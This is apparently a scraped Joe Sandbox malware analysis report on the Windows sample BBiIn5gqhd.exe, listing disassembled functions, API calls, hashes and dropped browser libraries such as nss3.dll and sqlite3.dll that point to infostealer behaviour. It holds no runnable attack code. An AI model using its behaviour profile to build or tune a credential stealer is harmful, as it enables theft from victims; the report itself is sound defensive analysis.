Opcode Fuzzy Hash: 66eeb1ad6a8d6a2b6d0ccfa29ec14bfe1bb6bdb7f80ed3d6a1edd565cfbf8c5c
Instruction Fuzzy Hash: 366187B1911304AFD710EFA4EE48DEA37B9FF48701F048568F60993161D639DAA1CF5A

Function 0040B520 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,0069E1D8,00000000,00020019,00000000), ref: 0040B572
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B5D7
wsprintfA.USER32 ref: 0040B60A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040B62D
RegCloseKey.ADVAPI32(00000000), ref: 0040B63E
RegCloseKey.ADVAPI32(00000000), ref: 0040B64B

Strings

%s\%s, xrefs: 0040B5FE
?, xrefs: 0040B547

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 7a7cd44712f981650cd0ba67674ae438e021bfc38c8f7e98afdb1eb9d0343c9a
Instruction ID: 79b7c5e3867b15640c9b516a82325d057f2a6d7394d615580dbb69b8a263038d
Opcode Fuzzy Hash: 7a7cd44712f981650cd0ba67674ae438e021bfc38c8f7e98afdb1eb9d0343c9a
Instruction Fuzzy Hash: 55513CB5901218ABDB10CF50DD49FEA77B8FF48700F00C5A9A249A6180DF749AC6CFD9

Function 00404B10 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404B3E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404B6A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404BBF
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404BFF
StrCmpCA.SHLWAPI(?,200), ref: 00404C15
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404C47
InternetReadFile.WININET(?,?,00000400,?), ref: 00404C70
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404C9E
FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00404CEC
InternetCloseHandle.WININET(?), ref: 00404CF6
InternetCloseHandle.WININET(00000000), ref: 00404D03

Strings

https, xrefs: 00404B58
200, xrefs: 00404C09

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Internet$CloseFile$HandleOpen$ChangeCreateFindHttpInfoNotificationQueryReadWrite
String ID: 200$https
API String ID: 2996992542-2945048398
Opcode ID: a766231091fea96ec5476e43348ef44923b720207eee4d46c01a663e757626bc
Instruction ID: 726509018b7fa4154a4378825ccbb4d2c2bf719be27ea40093512041a7e42203
Opcode Fuzzy Hash: a766231091fea96ec5476e43348ef44923b720207eee4d46c01a663e757626bc
Instruction Fuzzy Hash: 085132F1A45218ABEB10DB50DC45FEA77B8BB88705F1084A9F705B62C0D778AA81CF5D

Function 00408420 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 155
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0040844F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040849F
RtlAllocateHeap.NTDLL(00000000), ref: 004084A6
lstrcat.KERNEL32(?,0069B5B8), ref: 00408521

Part of subcall function 00407370: memset.MSVCRT ref: 004073C2
Part of subcall function 00407370: LocalAlloc.KERNEL32(00000040,?), ref: 00407411
Part of subcall function 00407370: lstrcat.KERNEL32(?,00000000), ref: 00407477

lstrcat.KERNEL32(?,00000000), ref: 00408565
lstrcat.KERNEL32(?,0069B3A8), ref: 00408578
lstrcat.KERNEL32(?,?), ref: 0040858C
lstrcat.KERNEL32(?,0069BF00), ref: 004085A0
lstrcat.KERNEL32(?,?), ref: 004085B4
lstrcat.KERNEL32(?,00419328), ref: 004085C6
lstrcat.KERNEL32(?,?), ref: 004085DA
lstrcat.KERNEL32(?,00418D08), ref: 004085EC
lstrlen.KERNEL32(?), ref: 004085FE

Strings

`ai, xrefs: 0040847C

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID: `ai
API String ID: 2806430148-4280193320
Opcode ID: f021e188045bd0453712fe531bae205aa47afd0c53e851006d16eac14b48a34b
Instruction ID: 0dd4f77de82c0cc9cf833b77549758e791a9f684184f62606eecaf0e3120038e
Opcode Fuzzy Hash: f021e188045bd0453712fe531bae205aa47afd0c53e851006d16eac14b48a34b
Instruction Fuzzy Hash: 3F5178B1900208ABCB14DFA4DD4AEDA7779FF48701F048598F709D3251DA359AA1CFAA

Function 00405550 Relevance: 22.7, APIs: 18, Instructions: 180stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,006901D8), ref: 004055CC
lstrcat.KERNEL32(?,0069AA28), ref: 004055E0
lstrcat.KERNEL32(?,0069A860), ref: 004055F4
lstrcat.KERNEL32(?,006901D8), ref: 00405607
lstrcat.KERNEL32(?,0069AA28), ref: 0040561B
lstrcat.KERNEL32(?,0069AA88), ref: 0040562F
lstrcat.KERNEL32(?,006901D8), ref: 00405642
lstrcat.KERNEL32(?,0069AA28), ref: 00405656
lstrcat.KERNEL32(?,0069A9F8), ref: 0040566A
lstrcat.KERNEL32(?,006901D8), ref: 0040567D
lstrcat.KERNEL32(?,0069AA28), ref: 00405691
lstrcat.KERNEL32(?,0069AAB8), ref: 004056A5
lstrcat.KERNEL32(?,006901D8), ref: 004056B8
lstrcat.KERNEL32(?,0069AA28), ref: 004056CC
lstrcat.KERNEL32(?,0069A920), ref: 004056E0
lstrcat.KERNEL32(?,006901D8), ref: 004056F3
lstrcat.KERNEL32(?,0069AA28), ref: 00405707
lstrcat.KERNEL32(?,00698170), ref: 0040571B

Part of subcall function 00404B10: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404B3E

Part of subcall function 00404B10: StrCmpCA.SHLWAPI(00000000,https), ref: 00404B6A
Part of subcall function 00404B10: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404BBF
Part of subcall function 00404B10: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404BFF
Part of subcall function 00404B10: StrCmpCA.SHLWAPI(?,200), ref: 00404C15
Part of subcall function 00404B10: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404C47
Part of subcall function 00404B10: InternetReadFile.WININET(?,?,00000400,?), ref: 00404C70
Part of subcall function 00404B10: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404C9E
Part of subcall function 00404B10: FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00404CEC
Part of subcall function 00404B10: InternetCloseHandle.WININET(?), ref: 00404CF6
Part of subcall function 00404B10: InternetCloseHandle.WININET(00000000), ref: 00404D03

Part of subcall function 00404B10: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404BE0
Part of subcall function 00404B10: Sleep.KERNEL32(00007530), ref: 00404C26

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: lstrcat$Internet$CloseFileOpen$Handle$ChangeCreateFindHttpInfoNotificationQueryReadSleepWrite
String ID:
API String ID: 1141736759-0
Opcode ID: ff3957ed69daf040ebd66849faa9613d772f82b6e619cfb96af07877949ff27e
Instruction ID: 2b7e4ac20165ef665648eca94f95a07dfd616f178c39a2f742bdbfdbf76d4a20
Opcode Fuzzy Hash: ff3957ed69daf040ebd66849faa9613d772f82b6e619cfb96af07877949ff27e
Instruction Fuzzy Hash: A16167B6501308ABC714EBA0DE84EDA7379FB88700F0489ADF30552151DB79A7D4CFA9

Function 0040BEE0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

Di@<, xrefs: 0040C03C, 0040C03F
image/jpeg, xrefs: 0040BFD3
Di@<, xrefs: 0040BF0C, 0040C060, 0040BF0F, 0040C063

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID:
String ID: Di@<$Di@<$image/jpeg
API String ID: 0-4002513526
Opcode ID: 57c7720f72993bac0cf3ad7e75de7a093dfa729153e860c942b068f4d32d9edd
Instruction ID: d9736229989a003ceb0e58349f05f62d2a9835a798373b8e8d579232c5aa49ff
Opcode Fuzzy Hash: 57c7720f72993bac0cf3ad7e75de7a093dfa729153e860c942b068f4d32d9edd
Instruction Fuzzy Hash: C251D9B5A11208EBCB00DBE4DC84FEEB7B9EF4C700F148529F605E6290D7349941CB69

Function 00412AE0 Relevance: 16.4, APIs: 7, Strings: 2, Instructions: 687COMMON

Download Yara Rule

Strings

T, xrefs: 00412FEF
U, xrefs: 00412FE8

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID:
String ID: T$U
API String ID: 0-2115836835
Opcode ID: 2c16f8d58ca98f9bb7f69a416d418e8242c8b08cdb3d66c53fc7695387b3bb63
Instruction ID: 884fdf0c56a1837a29d56d06d2d62742a2ec586a2b503ab18fd084ce4b48bae4
Opcode Fuzzy Hash: 2c16f8d58ca98f9bb7f69a416d418e8242c8b08cdb3d66c53fc7695387b3bb63
Instruction Fuzzy Hash: A47217B49052A98FDB24CF14C990BEAB7B1BF49305F1480DADA09A7342D7389EC5CF59

Function 0040B1F0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B1FD
RtlAllocateHeap.NTDLL(00000000), ref: 0040B204
memset.NTDLL ref: 0040B215
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B226
__aulldiv.LIBCMT ref: 0040B240
wsprintfA.USER32 ref: 0040B26C

Strings

%d MB, xrefs: 0040B263
@, xrefs: 0040B21B

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: 718af014e28d07e66a25cd34c1ef9441ed9547f193664f90546b08d90da3d327
Instruction ID: af8f35db11165844c107a58802531f98e96897389b28d088ed7d90c5ad44f188
Opcode Fuzzy Hash: 718af014e28d07e66a25cd34c1ef9441ed9547f193664f90546b08d90da3d327
Instruction Fuzzy Hash: 220100B1D00208ABDB00DFD4DD59FEEB7B8FB48704F108559F615A7280D7B96A118B99

Function 004067B0 Relevance: 13.7, APIs: 9, Instructions: 175stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040BAA0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040BAC1

lstrcat.KERNEL32(?,00000000), ref: 00406819
lstrcat.KERNEL32(?,00691F98), ref: 0040682D
lstrcat.KERNEL32(?,006901D8), ref: 00406840
lstrcat.KERNEL32(?,0069AA28), ref: 00406854
lstrcat.KERNEL32(?,0069A878), ref: 00406868

Part of subcall function 004052D0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004052FD
Part of subcall function 004052D0: StrCmpCA.SHLWAPI(00000000,https://), ref: 00405323
Part of subcall function 004052D0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040535D
Part of subcall function 004052D0: InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405383
Part of subcall function 004052D0: HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 004053E3
Part of subcall function 004052D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405457
Part of subcall function 004052D0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405473
Part of subcall function 004052D0: StrCmpCA.SHLWAPI(?,200), ref: 00405489

lstrcat.KERNEL32(?,00000000), ref: 00406898

Part of subcall function 00406450: lstrcat.KERNEL32(?,?), ref: 004064C4

Part of subcall function 00404B10: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404B3E

Part of subcall function 0040A8F0: GetProcessHeap.KERNEL32(00000000,000F423F,?,0040690C,?,00000001,00000001,00000001,?,00000104,?,000061A8), ref: 0040A8FA
Part of subcall function 0040A8F0: RtlAllocateHeap.NTDLL(00000000,?,0040690C), ref: 0040A901

Part of subcall function 00405810: GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040581B
Part of subcall function 00405810: RtlAllocateHeap.NTDLL(00000000), ref: 00405822
Part of subcall function 00405810: lstrcat.KERNEL32(?,00691FA8), ref: 00405835
Part of subcall function 00405810: lstrcat.KERNEL32(?,00690718), ref: 00405846
Part of subcall function 00405810: lstrcat.KERNEL32(?,00418D08), ref: 00405855
Part of subcall function 00405810: lstrcat.KERNEL32(?,006900C8), ref: 00405866
Part of subcall function 00405810: lstrcat.KERNEL32(?,00418D0C), ref: 00405875
Part of subcall function 00405810: lstrcat.KERNEL32(?,00698130), ref: 00405886
Part of subcall function 00405810: lstrcat.KERNEL32(?,00418D08), ref: 00405895
Part of subcall function 00405810: lstrcat.KERNEL32(?,0069A938), ref: 004058A6
Part of subcall function 00405810: GetCurrentProcessId.KERNEL32 ref: 004058AC
Part of subcall function 00405810: lstrcat.KERNEL32(?,00000000), ref: 004058C0
Part of subcall function 00405810: lstrcat.KERNEL32(?,00418D08), ref: 004058CF
Part of subcall function 00405810: lstrcat.KERNEL32(?,0069AAA0), ref: 004058DF
Part of subcall function 00405810: lstrcat.KERNEL32(?,00000000), ref: 004058EF
Part of subcall function 00405810: lstrcat.KERNEL32(?,00418D0C), ref: 004058FE
Part of subcall function 00405810: lstrcat.KERNEL32(?,0069AA40), ref: 0040590F
Part of subcall function 00405810: lstrcat.KERNEL32(?,00000000), ref: 0040591F
Part of subcall function 00405810: lstrcat.KERNEL32(?,00418D08), ref: 0040592E
Part of subcall function 00405810: lstrcat.KERNEL32(?,00698410), ref: 0040593F
Part of subcall function 00405810: lstrcat.KERNEL32(?,00000000), ref: 0040594F
Part of subcall function 00405810: lstrcat.KERNEL32(?,00418D0C), ref: 0040595E

lstrcat.KERNEL32(?,00000000), ref: 004069AE
SetCurrentDirectoryA.KERNEL32(0069B6A8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 004069BB
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 004069C8

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID:
API String ID: 2767677664-0
Opcode ID: 72e5907c7aafe3a3a479ef5ea8a7d0308f40cdaa4d4fd19d8bf5cb05961a068a
Instruction ID: f1c40ea55eebc3fa9f85516c7c2fe4a11632d845fd236685e680b9b93a67aac4
Opcode Fuzzy Hash: 72e5907c7aafe3a3a479ef5ea8a7d0308f40cdaa4d4fd19d8bf5cb05961a068a
Instruction Fuzzy Hash: D46163B69052086BCB10EB94DC45DDA7379EB48704F0489A9B20DA3192D73DBB94CFA9

Function 004071A0 Relevance: 13.6, APIs: 9, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00698FE8,?,0040A911,?,0040690C,?,00000001,00000001,00000001,?,00000104,?,000061A8), ref: 004071A9
GetProcAddress.KERNEL32(60900000,0069B588), ref: 004071CF
GetProcAddress.KERNEL32(60900000,0069BFC0), ref: 004071E7
GetProcAddress.KERNEL32(60900000,0069B390), ref: 004071FF
GetProcAddress.KERNEL32(60900000,0069BD40), ref: 00407218
GetProcAddress.KERNEL32(60900000,0069BF60), ref: 00407230
GetProcAddress.KERNEL32(60900000,0069B348), ref: 00407248
GetProcAddress.KERNEL32(60900000,0069BC60), ref: 00407261
GetProcAddress.KERNEL32(60900000,0069BFA0), ref: 00407279

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 638f2e2212b4e1adeff72b4c44b710ac6359f60ac0b6f0e3599ff2fbe5b8e3dd
Instruction ID: 4f29eebecf458f3c2408c17f87659f98633d08f7e7640d1cdcc97659447feb18
Opcode Fuzzy Hash: 638f2e2212b4e1adeff72b4c44b710ac6359f60ac0b6f0e3599ff2fbe5b8e3dd
Instruction Fuzzy Hash: 4F217EF5A132449FD344EFA9EC88AA237F9B74C310B04C939E509C3260D738A466CB1E

Function 00408290 Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004082BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408315
RtlAllocateHeap.NTDLL(00000000), ref: 0040831C
lstrcat.KERNEL32(?,?), ref: 0040837F
lstrcat.KERNEL32(?,00419324), ref: 00408391
lstrcat.KERNEL32(?,?), ref: 004083A5
lstrcat.KERNEL32(?,00418D0C), ref: 004083B7
lstrlen.KERNEL32(?), ref: 004083C9

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: a472131ec6933aad149a06fe91c75b5fa9bf10073957df11d1ecd1ad0cb24dea
Instruction ID: 805766f6f00ef3f97cbedac021284999840660ee3f63eed63913d9f03ffb44f6
Opcode Fuzzy Hash: a472131ec6933aad149a06fe91c75b5fa9bf10073957df11d1ecd1ad0cb24dea
Instruction Fuzzy Hash: 0A41C9B190020C9BCB14EFA4DD4AFDA7378EF48700F0485A8F709D3241DA759A90CFAA

Function 00408790 Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004087BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040880F
RtlAllocateHeap.NTDLL(00000000), ref: 00408816
lstrcat.KERNEL32(?,?), ref: 00408879
lstrcat.KERNEL32(?,00418D0C), ref: 0040888B
lstrcat.KERNEL32(?,?), ref: 0040889F
lstrcat.KERNEL32(?,00418D08), ref: 004088B1
lstrlen.KERNEL32(?), ref: 004088C3

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: dffde95566fbe798abeedbf6c79d2ea0cfb7a2db58a6c14bdd41658129b1e20d
Instruction ID: ea718bf9f56bfe2708b27646a93ecacca7ac674a7caa83d3db2223d854535db0
Opcode Fuzzy Hash: dffde95566fbe798abeedbf6c79d2ea0cfb7a2db58a6c14bdd41658129b1e20d
Instruction Fuzzy Hash: 844189B190020CABCB14EFA4DD46EDA7778EF48704F0485A8F70997141DB359AA1CF9A

Function 0040B58D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B5D7
wsprintfA.USER32 ref: 0040B60A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040B62D
RegCloseKey.ADVAPI32(00000000), ref: 0040B63E
RegCloseKey.ADVAPI32(00000000), ref: 0040B64B
RegQueryValueExA.KERNEL32(00000000,0069C548,00000000,000F003F,?,00000400), ref: 0040B682
lstrlen.KERNEL32(?), ref: 0040B697
lstrcat.KERNEL32(00405BFB,?), ref: 0040B6AD
RegQueryValueExA.KERNEL32(00000000,0069C740,00000000,000F003F,?,00000400), ref: 0040B6DF
lstrcat.KERNEL32(00405BFB,00419384), ref: 0040B6F2
lstrcat.KERNEL32(00405BFB,?), ref: 0040B703
lstrcat.KERNEL32(00405BFB,00418D0C), ref: 0040B712
RegCloseKey.ADVAPI32(00000000), ref: 0040B71F
RegCloseKey.ADVAPI32(00000000), ref: 0040B731

Strings

%s\%s, xrefs: 0040B5FE

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: 4469412763cb9a0ad44fb90d6232adc1ea1b652e056a4a4e8f3a3bf253123aa7
Instruction ID: 8f3e52b1a3fe6c946b2fda3a0dfd11d7d3a7561699b3e98a0de7847a00ae623a
Opcode Fuzzy Hash: 4469412763cb9a0ad44fb90d6232adc1ea1b652e056a4a4e8f3a3bf253123aa7
Instruction Fuzzy Hash: BF11077194122C9BEB20CB50DD45FE9B3B8FF44700F10C5E9A249A6181DB745AD6CFA9

Function 0040B280 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B294
RtlAllocateHeap.NTDLL(00000000), ref: 0040B29B

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BBiIn5gqhd.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\sqlite3.dll

C:\ProgramData\vcruntime140.dll

